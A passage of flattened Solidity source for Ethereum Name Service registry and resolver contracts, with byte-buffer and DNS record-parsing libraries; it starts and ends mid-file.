function setApprovalForAll(address operator, bool approved) external {
operators[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/**
* @dev Returns the address that owns the specified node.
* @param node The specified node.
* @return address of the owner.
*/
function owner(bytes32 node) public view returns (address) {
address addr = records[node].owner;
if (addr == address(this)) {
return address(0x0);
}
return addr;
}
/**
* @dev Returns the address of the resolver for the specified node.
* @param node The specified node.
* @return address of the resolver.
*/
function resolver(bytes32 node) public view returns (address) {
return records[node].resolver;
}
/**
* @dev Returns the TTL of a node, and any records associated with it.
* @param node The specified node.
* @return ttl of the node.
*/
function ttl(bytes32 node) public view returns (uint64) {
return records[node].ttl;
}
/**
* @dev Returns whether a record has been imported to the registry.
* @param node The specified node.
* @return Bool if record exists
*/
function recordExists(bytes32 node) public view returns (bool) {
return records[node].owner != address(0x0);
}
/**
* @dev Query if an address is an authorized operator for another address.
* @param owner The address that owns the records.
* @param operator The address that acts on behalf of the owner.
* @return True if `operator` is an approved operator for `owner`, false otherwise.
*/
function isApprovedForAll(address owner, address operator) external view returns (bool) {
return operators[owner][operator];
}
function _setOwner(bytes32 node, address owner) internal {
records[node].owner = owner;
}
function _setResolverAndTTL(bytes32 node, address resolver, uint64 ttl) internal {
if(resolver != records[node].resolver) {
records[node].resolver = resolver;
emit NewResolver(node, resolver);
}
if(ttl != records[node].ttl) {
records[node].ttl = ttl;
emit NewTTL(node, ttl);
}
}
}
pragma solidity ^0.5.0;
contract ABIResolver is ResolverBase {
bytes4 constant private ABI_INTERFACE_ID = 0x2203ab56;
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
mapping(bytes32=>mapping(uint256=>bytes)) abis;
/**
* Sets the ABI associated with an ENS node.
* Nodes may have one ABI of each content type. To remove an ABI, set it to
* the empty string.
* @param node The node to update.
* @param contentType The content type of the ABI
* @param data The ABI data.
*/
function setABI(bytes32 node, uint256 contentType, bytes calldata data) external authorised(node) {
// Content types must be powers of 2
require(((contentType - 1) & contentType) == 0);
abis[node][contentType] = data;
emit ABIChanged(node, contentType);
}
/**
* Returns the ABI associated with an ENS node.
* Defined in EIP205.
* @param node The ENS node to query
* @param contentTypes A bitwise OR of the ABI formats accepted by the caller.
* @return contentType The content type of the return value
* @return data The ABI data
*/
function ABI(bytes32 node, uint256 contentTypes) external view returns (uint256, bytes memory) {
mapping(uint256=>bytes) storage abiset = abis[node];
for (uint256 contentType = 1; contentType <= contentTypes; contentType <<= 1) {
if ((contentType & contentTypes) != 0 && abiset[contentType].length > 0) {
return (contentType, abiset[contentType]);
}
}
return (0, bytes(""));
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == ABI_INTERFACE_ID || super.supportsInterface(interfaceID);
}
}
pragma solidity ^0.5.0;
contract AddrResolver is ResolverBase {
bytes4 constant private ADDR_INTERFACE_ID = 0x3b3b57de;
bytes4 constant private ADDRESS_INTERFACE_ID = 0xf1cb7e06;
uint constant private COIN_TYPE_ETH = 60;
event AddrChanged(bytes32 indexed node, address a);
event AddressChanged(bytes32 indexed node, uint coinType, bytes newAddress);
mapping(bytes32=>mapping(uint=>bytes)) _addresses;
/**
* Sets the address associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param a The address to set.
*/
function setAddr(bytes32 node, address a) external authorised(node) {
setAddr(node, COIN_TYPE_ETH, addressToBytes(a));
}
/**
* Returns the address associated with an ENS node.
* @param node The ENS node to query.
* @return The associated address.
*/
function addr(bytes32 node) public view returns (address payable) {
bytes memory a = addr(node, COIN_TYPE_ETH);
if(a.length == 0) {
return address(0);
}
return bytesToAddress(a);
}
function setAddr(bytes32 node, uint coinType, bytes memory a) public authorised(node) {
emit AddressChanged(node, coinType, a);
if(coinType == COIN_TYPE_ETH) {
emit AddrChanged(node, bytesToAddress(a));
}
_addresses[node][coinType] = a;
}
function addr(bytes32 node, uint coinType) public view returns(bytes memory) {
return _addresses[node][coinType];
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == ADDR_INTERFACE_ID || interfaceID == ADDRESS_INTERFACE_ID || super.supportsInterface(interfaceID);
}
}
pragma solidity ^0.5.0;
contract ContentHashResolver is ResolverBase {
bytes4 constant private CONTENT_HASH_INTERFACE_ID = 0xbc1c58d1;
event ContenthashChanged(bytes32 indexed node, bytes hash);
mapping(bytes32=>bytes) hashes;
/**
* Sets the contenthash associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param hash The contenthash to set
*/
function setContenthash(bytes32 node, bytes calldata hash) external authorised(node) {
hashes[node] = hash;
emit ContenthashChanged(node, hash);
}
/**
* Returns the contenthash associated with an ENS node.
* @param node The ENS node to query.
* @return The associated contenthash.
*/
function contenthash(bytes32 node) external view returns (bytes memory) {
return hashes[node];
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == CONTENT_HASH_INTERFACE_ID || super.supportsInterface(interfaceID);
}
}
pragma solidity >0.4.23;
library BytesUtils {
/*
* @dev Returns the keccak-256 hash of a byte range.
* @param self The byte string to hash.
* @param offset The position to start hashing at.
* @param len The number of bytes to hash.
* @return The hash of the byte range.
*/
function keccak(bytes memory self, uint offset, uint len) internal pure returns (bytes32 ret) {
require(offset + len <= self.length);
assembly {
ret := keccak256(add(add(self, 32), offset), len)
}
}
/*
* @dev Returns a positive number if `other` comes lexicographically after
* `self`, a negative number if it comes before, or zero if the
* contents of the two bytes are equal.
* @param self The first bytes to compare.
* @param other The second bytes to compare.
* @return The result of the comparison.
*/
function compare(bytes memory self, bytes memory other) internal pure returns (int) {
return compare(self, 0, self.length, other, 0, other.length);
}
/*
* @dev Returns a positive number if `other` comes lexicographically after
* `self`, a negative number if it comes before, or zero if the
* contents of the two bytes are equal. Comparison is done per-rune,
* on unicode codepoints.
* @param self The first bytes to compare.
* @param offset The offset of self.
* @param len The length of self.
* @param other The second bytes to compare.
* @param otheroffset The offset of the other string.
* @param otherlen The length of the other string.
* @return The result of the comparison.
*/
function compare(bytes memory self, uint offset, uint len, bytes memory other, uint otheroffset, uint otherlen) internal pure returns (int) {
uint shortest = len;
if (otherlen < len)
shortest = otherlen;
uint selfptr;
uint otherptr;
assembly {
selfptr := add(self, add(offset, 32))
otherptr := add(other, add(otheroffset, 32))
}
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint mask;
if (shortest > 32) {
mask = uint256(- 1); // aka 0xffffff....
} else {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(len) - int(otherlen);
}
/*
* @dev Returns true if the two byte ranges are equal.
* @param self The first byte range to compare.
* @param offset The offset into the first byte range.
* @param other The second byte range to compare.
* @param otherOffset The offset into the second byte range.
* @param len The number of bytes to compare
* @return True if the byte ranges are equal, false otherwise.
*/
function equals(bytes memory self, uint offset, bytes memory other, uint otherOffset, uint len) internal pure returns (bool) {
return keccak(self, offset, len) == keccak(other, otherOffset, len);
}
/*
* @dev Returns true if the two byte ranges are equal with offsets.
* @param self The first byte range to compare.
* @param offset The offset into the first byte range.
* @param other The second byte range to compare.
* @param otherOffset The offset into the second byte range.
* @return True if the byte ranges are equal, false otherwise.
*/
function equals(bytes memory self, uint offset, bytes memory other, uint otherOffset) internal pure returns (bool) {
return keccak(self, offset, self.length - offset) == keccak(other, otherOffset, other.length - otherOffset);
}
/*
* @dev Compares a range of 'self' to all of 'other' and returns True iff
* they are equal.
* @param self The first byte range to compare.
* @param offset The offset into the first byte range.
* @param other The second byte range to compare.
* @return True if the byte ranges are equal, false otherwise.
*/
function equals(bytes memory self, uint offset, bytes memory other) internal pure returns (bool) {
return self.length >= offset + other.length && equals(self, offset, other, 0, other.length);
}
/*
* @dev Returns true if the two byte ranges are equal.
* @param self The first byte range to compare.
* @param other The second byte range to compare.
* @return True if the byte ranges are equal, false otherwise.
*/
function equals(bytes memory self, bytes memory other) internal pure returns(bool) {
return self.length == other.length && equals(self, 0, other, 0, self.length);
}
/*
* @dev Returns the 8-bit number at the specified index of self.
* @param self The byte string.
* @param idx The index into the bytes
* @return The specified 8 bits of the string, interpreted as an integer.
*/
function readUint8(bytes memory self, uint idx) internal pure returns (uint8 ret) {
return uint8(self[idx]);
}
/*
* @dev Returns the 16-bit number at the specified index of self.
* @param self The byte string.
* @param idx The index into the bytes
* @return The specified 16 bits of the string, interpreted as an integer.
*/
function readUint16(bytes memory self, uint idx) internal pure returns (uint16 ret) {
require(idx + 2 <= self.length);
assembly {
ret := and(mload(add(add(self, 2), idx)), 0xFFFF)
}
}
/*
* @dev Returns the 32-bit number at the specified index of self.
* @param self The byte string.
* @param idx The index into the bytes
* @return The specified 32 bits of the string, interpreted as an integer.
*/
function readUint32(bytes memory self, uint idx) internal pure returns (uint32 ret) {
require(idx + 4 <= self.length);
assembly {
ret := and(mload(add(add(self, 4), idx)), 0xFFFFFFFF)
}
}
/*
* @dev Returns the 32 byte value at the specified index of self.
* @param self The byte string.
* @param idx The index into the bytes
* @return The specified 32 bytes of the string.
*/
function readBytes32(bytes memory self, uint idx) internal pure returns (bytes32 ret) {
require(idx + 32 <= self.length);
assembly {
ret := mload(add(add(self, 32), idx))
}
}
/*
* @dev Returns the 32 byte value at the specified index of self.
* @param self The byte string.
* @param idx The index into the bytes
* @return The specified 32 bytes of the string.
*/
function readBytes20(bytes memory self, uint idx) internal pure returns (bytes20 ret) {
require(idx + 20 <= self.length);
assembly {
ret := and(mload(add(add(self, 32), idx)), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000)
}
}
/*
* @dev Returns the n byte value at the specified index of self.
* @param self The byte string.
* @param idx The index into the bytes.
* @param len The number of bytes.
* @return The specified 32 bytes of the string.
*/
function readBytesN(bytes memory self, uint idx, uint len) internal pure returns (bytes32 ret) {
require(len <= 32);
require(idx + len <= self.length);
assembly {
let mask := not(sub(exp(256, sub(32, len)), 1))
ret := and(mload(add(add(self, 32), idx)), mask)
}
}
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Copies a substring into a new byte string.
* @param self The byte string to copy from.
* @param offset The offset to start copying at.
* @param len The number of bytes to copy.
*/
function substring(bytes memory self, uint offset, uint len) internal pure returns(bytes memory) {
require(offset + len <= self.length);
bytes memory ret = new bytes(len);
uint dest;
uint src;
assembly {
dest := add(ret, 32)
src := add(add(self, 32), offset)
}
memcpy(dest, src, len);
return ret;
}
// Maps characters from 0x30 to 0x7A to their base32 values.
// 0xFF represents invalid characters in that range.
bytes constant base32HexTable = hex'00010203040506070809FFFFFFFFFFFFFF0A0B0C0D0E0F101112131415161718191A1B1C1D1E1FFFFFFFFFFFFFFFFFFFFF0A0B0C0D0E0F101112131415161718191A1B1C1D1E1F';
/**
* @dev Decodes unpadded base32 data of up to one word in length.
* @param self The data to decode.
* @param off Offset into the string to start at.
* @param len Number of characters to decode.
* @return The decoded data, left aligned.
*/
function base32HexDecodeWord(bytes memory self, uint off, uint len) internal pure returns(bytes32) {
require(len <= 52);
uint ret = 0;
uint8 decoded;
for(uint i = 0; i < len; i++) {
bytes1 char = self[off + i];
require(char >= 0x30 && char <= 0x7A);
decoded = uint8(base32HexTable[uint(uint8(char)) - 0x30]);
require(decoded <= 0x20);
if(i == len - 1) {
break;
}
ret = (ret << 5) | decoded;
}
uint bitlen = len * 5;
if(len % 8 == 0) {
// Multiple of 8 characters, no padding
ret = (ret << 5) | decoded;
} else if(len % 8 == 2) {
// Two extra characters - 1 byte
ret = (ret << 3) | (decoded >> 2);
bitlen -= 2;
} else if(len % 8 == 4) {
// Four extra characters - 2 bytes
ret = (ret << 1) | (decoded >> 4);
bitlen -= 4;
} else if(len % 8 == 5) {
// Five extra characters - 3 bytes
ret = (ret << 4) | (decoded >> 1);
bitlen -= 1;
} else if(len % 8 == 7) {
// Seven extra characters - 4 bytes
ret = (ret << 2) | (decoded >> 3);
bitlen -= 3;
} else {
revert();
}
return bytes32(ret << (256 - bitlen));
}
}
pragma solidity >0.4.18;
/**
* @dev A library for working with mutable byte buffers in Solidity.
*
* Byte buffers are mutable and expandable, and provide a variety of primitives
* for writing to them. At any time you can fetch a bytes object containing the
* current contents of the buffer. The bytes object should not be stored between
* operations, as it may change due to resizing of the buffer.
*/
library Buffer {
/**
* @dev Represents a mutable buffer. Buffers have a current value (buf) and
* a capacity. The capacity may be longer than the current value, in
* which case it can be extended without the need to allocate more memory.
*/
struct buffer {
bytes buf;
uint capacity;
}
/**
* @dev Initializes a buffer with an initial capacity.
* @param buf The buffer to initialize.
* @param capacity The number of bytes of space to allocate the buffer.
* @return The buffer, for chaining.
*/
function init(buffer memory buf, uint capacity) internal pure returns(buffer memory) {
if (capacity % 32 != 0) {
capacity += 32 - (capacity % 32);
}
// Allocate space for the buffer data
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(32, add(ptr, capacity)))
}
return buf;
}
/**
* @dev Initializes a new buffer from an existing bytes object.
* Changes to the buffer may mutate the original value.
* @param b The bytes object to initialize the buffer with.
* @return A new buffer.
*/
function fromBytes(bytes memory b) internal pure returns(buffer memory) {
buffer memory buf;
buf.buf = b;
buf.capacity = b.length;
return buf;
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if (a > b) {
return a;
}
return b;
}
/**
* @dev Sets buffer length to 0.
* @param buf The buffer to truncate.
* @return The original buffer, for chaining..
*/
function truncate(buffer memory buf) internal pure returns (buffer memory) {
assembly {
let bufptr := mload(buf)
mstore(bufptr, 0)
}
return buf;
}
/**
* @dev Writes a byte string to a buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param off The start offset to write to.
* @param data The data to append.
* @param len The number of bytes to copy.
* @return The original buffer, for chaining.
*/
function write(buffer memory buf, uint off, bytes memory data, uint len) internal pure returns(buffer memory) {
require(len <= data.length);
if (off + len > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Start address = buffer address + offset + sizeof(buffer length)
dest := add(add(bufptr, 32), off)
// Update buffer length if we're extending it
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(data, 32)
}
// Copy word-length chunks while possible
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
/**
* @dev Appends a byte string to a buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @param len The number of bytes to copy.
* @return The original buffer, for chaining.
*/
function append(buffer memory buf, bytes memory data, uint len) internal pure returns (buffer memory) {
return write(buf, buf.buf.length, data, len);
}
/**
* @dev Appends a byte string to a buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function append(buffer memory buf, bytes memory data) internal pure returns (buffer memory) {
return write(buf, buf.buf.length, data, data.length);
}
/**
* @dev Writes a byte to the buffer. Resizes if doing so would exceed the
* capacity of the buffer.
* @param buf The buffer to append to.
* @param off The offset to write the byte at.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function writeUint8(buffer memory buf, uint off, uint8 data) internal pure returns(buffer memory) {
if (off >= buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Address = buffer address + sizeof(buffer length) + off
let dest := add(add(bufptr, off), 32)
mstore8(dest, data)
// Update buffer length if we extended it
if eq(off, buflen) {
mstore(bufptr, add(buflen, 1))
}
}
return buf;
}
/**
* @dev Appends a byte to the buffer. Resizes if doing so would exceed the
* capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function appendUint8(buffer memory buf, uint8 data) internal pure returns(buffer memory) {
return writeUint8(buf, buf.buf.length, data);
}
/**
* @dev Writes up to 32 bytes to the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param off The offset to write at.
* @param data The data to append.
* @param len The number of bytes to write (left-aligned).
* @return The original buffer, for chaining.
*/
function write(buffer memory buf, uint off, bytes32 data, uint len) private pure returns(buffer memory) {
if (len + off > buf.capacity) {
resize(buf, (len + off) * 2);
}
uint mask = 256 ** len - 1;
// Right-align data
data = data >> (8 * (32 - len));
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Address = buffer address + sizeof(buffer length) + off + len
let dest := add(add(bufptr, off), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
// Update buffer length if we extended it
if gt(add(off, len), mload(bufptr)) {
mstore(bufptr, add(off, len))
}
}
return buf;
}
/**
* @dev Writes a bytes20 to the buffer. Resizes if doing so would exceed the
* capacity of the buffer.
* @param buf The buffer to append to.
* @param off The offset to write at.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function writeBytes20(buffer memory buf, uint off, bytes20 data) internal pure returns (buffer memory) {
return write(buf, off, bytes32(data), 20);
}
/**
* @dev Appends a bytes20 to the buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer, for chhaining.
*/
function appendBytes20(buffer memory buf, bytes20 data) internal pure returns (buffer memory) {
return write(buf, buf.buf.length, bytes32(data), 20);
}
/**
* @dev Appends a bytes32 to the buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer, for chaining.
*/
function appendBytes32(buffer memory buf, bytes32 data) internal pure returns (buffer memory) {
return write(buf, buf.buf.length, data, 32);
}
/**
* @dev Writes an integer to the buffer. Resizes if doing so would exceed
* the capacity of the buffer.
* @param buf The buffer to append to.
* @param off The offset to write at.
* @param data The data to append.
* @param len The number of bytes to write (right-aligned).
* @return The original buffer, for chaining.
*/
function writeInt(buffer memory buf, uint off, uint data, uint len) private pure returns(buffer memory) {
if (len + off > buf.capacity) {
resize(buf, (len + off) * 2);
}
uint mask = 256 ** len - 1;
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Address = buffer address + off + sizeof(buffer length) + len
let dest := add(add(bufptr, off), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
// Update buffer length if we extended it
if gt(add(off, len), mload(bufptr)) {
mstore(bufptr, add(off, len))
}
}
return buf;
}
/**
* @dev Appends a byte to the end of the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
return writeInt(buf, buf.buf.length, data, len);
}
}
pragma solidity >0.4.23;
/**
* @dev RRUtils is a library that provides utilities for parsing DNS resource records.
*/
library RRUtils {
using BytesUtils for *;
using Buffer for *;
/**
* @dev Returns the number of bytes in the DNS name at 'offset' in 'self'.
* @param self The byte array to read a name from.
* @param offset The offset to start reading at.
* @return The length of the DNS name at 'offset', in bytes.
*/
function nameLength(bytes memory self, uint offset) internal pure returns(uint) {
uint idx = offset;
while (true) {
assert(idx < self.length);
uint labelLen = self.readUint8(idx);
idx += labelLen + 1;
if (labelLen == 0) {
break;
}
}
return idx - offset;
}
/**
* @dev Returns a DNS format name at the specified offset of self.
* @param self The byte array to read a name from.
* @param offset The offset to start reading at.
* @return The name.
*/
function readName(bytes memory self, uint offset) internal pure returns(bytes memory ret) {
uint len = nameLength(self, offset);
return self.substring(offset, len);
}
/**
* @dev Returns the number of labels in the DNS name at 'offset' in 'self'.
* @param self The byte array to read a name from.
* @param offset The offset to start reading at.
* @return The number of labels in the DNS name at 'offset', in bytes.
*/
function labelCount(bytes memory self, uint offset) internal pure returns(uint) {
uint count = 0;
while (true) {
assert(offset < self.length);
uint labelLen = self.readUint8(offset);
offset += labelLen + 1;
if (labelLen == 0) {
break;
}
count += 1;
}
return count;
}
/**
* @dev An iterator over resource records.
*/
struct RRIterator {
bytes data;
uint offset;
uint16 dnstype;
uint16 class;
uint32 ttl;
uint rdataOffset;
uint nextOffset;
}
/**
* @dev Begins iterating over resource records.
* @param self The byte string to read from.
* @param offset The offset to start reading at.
* @return An iterator object.
*/
function iterateRRs(bytes memory self, uint offset) internal pure returns (RRIterator memory ret) {
ret.data = self;
ret.nextOffset = offset;
next(ret);
}
/**
* @dev Returns true iff there are more RRs to iterate.
* @param iter The iterator to check.
* @return True iff the iterator has finished.
*/
function done(RRIterator memory iter) internal pure returns(bool) {
return iter.offset >= iter.data.length;
}
/**
* @dev Moves the iterator to the next resource record.
* @param iter The iterator to advance.
*/
function next(RRIterator memory iter) internal pure {
iter.offset = iter.nextOffset;
if (iter.offset >= iter.data.length) {
return;
}
// Skip the name
uint off = iter.offset + nameLength(iter.data, iter.offset);
// Read type, class, and ttl
iter.dnstype = iter.data.readUint16(off);
off += 2;
iter.class = iter.data.readUint16(off);
off += 2;
iter.ttl = iter.data.readUint32(off);
off += 4;
// Read the rdata
uint rdataLength = iter.data.readUint16(off);
off += 2;
iter.rdataOffset = off;
iter.nextOffset = off + rdataLength;
}
/**
* @dev Returns the name of the current record.
* @param iter The iterator.
* @return A new bytes object containing the owner name from the RR.
*/
function name(RRIterator memory iter) internal pure returns(bytes memory) {
return iter.data.substring(iter.offset, nameLength(iter.data, iter.offset));
}
/**
* @dev Returns the rdata portion of the current record.
* @param iter The iterator.
* @return A new bytes object containing the RR's RDATA.
*/
function rdata(RRIterator memory iter) internal pure returns(bytes memory) {
return iter.data.substring(iter.rdataOffset, iter.nextOffset - iter.rdataOffset);
}
/**
* @dev Checks if a given RR type exists in a type bitmap.
* @param self The byte string to read the type bitmap from.
* @param offset The offset to start reading at.
* @param rrtype The RR type to check for.
* @return True if the type is found in the bitmap, false otherwise.
*/
function checkTypeBitmap(bytes memory self, uint offset, uint16 rrtype) internal pure returns (bool) {
uint8 typeWindow = uint8(rrtype >> 8);
uint8 windowByte = uint8((rrtype & 0xff) / 8);
uint8 windowBitmask = uint8(uint8(1) << (uint8(7) - uint8(rrtype & 0x7)));
for (uint off = offset; off < self.length;) {
uint8 window = self.readUint8(off);
uint8 len = self.readUint8(off + 1);
if (typeWindow < window) {
// We've gone past our window; it's not here.
return false;
} else if (typeWindow == window) {
// Check this type bitmap
if (len * 8 <= windowByte) {
// Our type is past the end of the bitmap
return false;
}
return (self.readUint8(off + windowByte + 2) & windowBitmask) != 0;
} else {
// Skip this type bitmap
off += len + 2;
}
}
return false;
}
function compareNames(bytes memory self, bytes memory other) internal pure returns (int) {
if (self.equals(other)) {
return 0;
}
uint off;
uint otheroff;
uint prevoff;
uint otherprevoff;
uint counts = labelCount(self, 0);
uint othercounts = labelCount(other, 0);
// Keep removing labels from the front of the name until both names are equal length
while (counts > othercounts) {
prevoff = off;
off = progress(self, off);
counts--;
}
while (othercounts > counts) {
otherprevoff = otheroff;
otheroff = progress(other, otheroff);
othercounts--;
}
// Compare the last nonequal labels to each other
while (counts > 0 && !self.equals(off, other, otheroff)) {
prevoff = off;
off = progress(self, off);
otherprevoff = otheroff;
otheroff = progress(other, otheroff);
counts -= 1;
}
if (off == 0) {
return -1;
}
if(otheroff == 0) {
return 1;
}
return self.compare(prevoff + 1, self.readUint8(prevoff), other, otherprevoff + 1, other.readUint8(otherprevoff));
}
function progress(bytes memory body, uint off) internal pure returns(uint) {
return off + 1 + body.readUint8(off);
}
}
pragma solidity ^0.5.0;
contract DNSResolver is ResolverBase {
using RRUtils for *;
using BytesUtils for bytes;
bytes4 constant private DNS_RECORD_INTERFACE_ID = 0xa8fa5682;
bytes4 constant private DNS_ZONE_INTERFACE_ID = 0x5c47637c;
// DNSRecordChanged is emitted whenever a given node/name/resource's RRSET is updated.
event DNSRecordChanged(bytes32 indexed node, bytes name, uint16 resource, bytes record);
// DNSRecordDeleted is emitted whenever a given node/name/resource's RRSET is deleted.
event DNSRecordDeleted(bytes32 indexed node, bytes name, uint16 resource);
// DNSZoneCleared is emitted whenever a given node's zone information is cleared.
event DNSZoneCleared(bytes32 indexed node);
// DNSZonehashChanged is emitted whenever a given node's zone hash is updated.
event DNSZonehashChanged(bytes32 indexed node, bytes lastzonehash, bytes zonehash);
// Zone hashes for the domains.
// A zone hash is an EIP-1577 content hash in binary format that should point to a
// resource containing a single zonefile.
// node => contenthash
mapping(bytes32=>bytes) private zonehashes;
// Version the mapping for each zone. This allows users who have lost
// track of their entries to effectively delete an entire zone by bumping
// the version number.
// node => version
mapping(bytes32=>uint256) private versions;
// The records themselves. Stored as binary RRSETs
// node => version => name => resource => data
mapping(bytes32=>mapping(uint256=>mapping(bytes32=>mapping(uint16=>bytes)))) private records;
// Count of number of entries for a given name. Required for DNS resolvers
// when resolving wildcards.
// node => version => name => number of records
mapping(bytes32=>mapping(uint256=>mapping(bytes32=>uint16))) private nameEntriesCount;
/**
* Set one or more DNS records. Records are supplied in wire-format.
* Records with the same node/name/resource must be supplied one after the
* other to ensure the data is updated correctly. For example, if the data
* was supplied:
* a.example.com IN A 1.2.3.4
* a.example.com IN A 5.6.7.8
* www.example.com IN CNAME a.example.com.
* then this would store the two A records for a.example.com correctly as a
* single RRSET, however if the data was supplied:
* a.example.com IN A 1.2.3.4
* www.example.com IN CNAME a.example.com.
* a.example.com IN A 5.6.7.8
* then this would store the first A record, the CNAME, then the second A
* record which would overwrite the first.
*
* @param node the namehash of the node for which to set the records
* @param data the DNS wire format records to set
*/
function setDNSRecords(bytes32 node, bytes calldata data) external authorised(node) {
uint16 resource = 0;
uint256 offset = 0;
bytes memory name;
bytes memory value;
bytes32 nameHash;
// Iterate over the data to add the resource records
for (RRUtils.RRIterator memory iter = data.iterateRRs(0); !iter.done(); iter.next()) {
if (resource == 0) {
resource = iter.dnstype;
name = iter.name();
nameHash = keccak256(abi.encodePacked(name));
value = bytes(iter.rdata());
} else {
bytes memory newName = iter.name();
if (resource != iter.dnstype || !name.equals(newName)) {
setDNSRRSet(node, name, resource, data, offset, iter.offset - offset, value.length == 0);
resource = iter.dnstype;
offset = iter.offset;
name = newName;
nameHash = keccak256(name);
value = bytes(iter.rdata());
}
}
}
if (name.length > 0) {
setDNSRRSet(node, name, resource, data, offset, data.length - offset, value.length == 0);
}
}
/**
* Obtain a DNS record.
* @param node the namehash of the node for which to fetch the record
* @param name the keccak-256 hash of the fully-qualified name for which to fetch the record
* @param resource the ID of the resource as per https://en.wikipedia.org/wiki/List_of_DNS_record_types
* @return the DNS record in wire format if present, otherwise empty
*/
function dnsRecord(bytes32 node, bytes32 name, uint16 resource) public view returns (bytes memory) {
return records[node][versions[node]][name][resource];
}
/**
* Check if a given node has records.
* @param node the namehash of the node for which to check the records
* @param name the namehash of the node for which to check the records
*/
function hasDNSRecords(bytes32 node, bytes32 name) public view returns (bool) {
return (nameEntriesCount[node][versions[node]][name] != 0);
}
/**
* Clear all information for a DNS zone.
* @param node the namehash of the node for which to clear the zone
*/
function clearDNSZone(bytes32 node) public authorised(node) {
versions[node]++;
emit DNSZoneCleared(node);
}
/**
* setZonehash sets the hash for the zone.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param hash The zonehash to set
*/
function setZonehash(bytes32 node, bytes calldata hash) external authorised(node) {
bytes memory oldhash = zonehashes[node];
zonehashes[node] = hash;
emit DNSZonehashChanged(node, oldhash, hash);
}
/**
* zonehash obtains the hash for the zone.
* @param node The ENS node to query.
* @return The associated contenthash.
*/
function zonehash(bytes32 node) external view returns (bytes memory) {
return zonehashes[node];
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == DNS_RECORD_INTERFACE_ID ||
interfaceID == DNS_ZONE_INTERFACE_ID ||
super.supportsInterface(interfaceID);
}
function setDNSRRSet(
bytes32 node,
bytes memory name,
uint16 resource,
bytes memory data,
uint256 offset,
uint256 size,
bool deleteRecord) private
{
uint256 version = versions[node];
bytes32 nameHash = keccak256(name);
bytes memory rrData = data.substring(offset, size);
if (deleteRecord) {
if (records[node][version][nameHash][resource].length != 0) {
nameEntriesCount[node][version][nameHash]--;
}
delete(records[node][version][nameHash][resource]);
emit DNSRecordDeleted(node, name, resource);
} else {
if (records[node][version][nameHash][resource].length == 0) {
nameEntriesCount[node][version][nameHash]++;
}
records[node][version][nameHash][resource] = rrData;
emit DNSRecordChanged(node, name, resource, rrData);
}
}
}
pragma solidity ^0.5.0;
contract InterfaceResolver is ResolverBase, AddrResolver {
bytes4 constant private INTERFACE_INTERFACE_ID = bytes4(keccak256("interfaceImplementer(bytes32,bytes4)"));
bytes4 private constant INTERFACE_META_ID = 0x01ffc9a7;
event InterfaceChanged(bytes32 indexed node, bytes4 indexed interfaceID, address implementer);
mapping(bytes32=>mapping(bytes4=>address)) interfaces;
/**
* Sets an interface associated with a name.
* Setting the address to 0 restores the default behaviour of querying the contract at `addr()` for interface support.
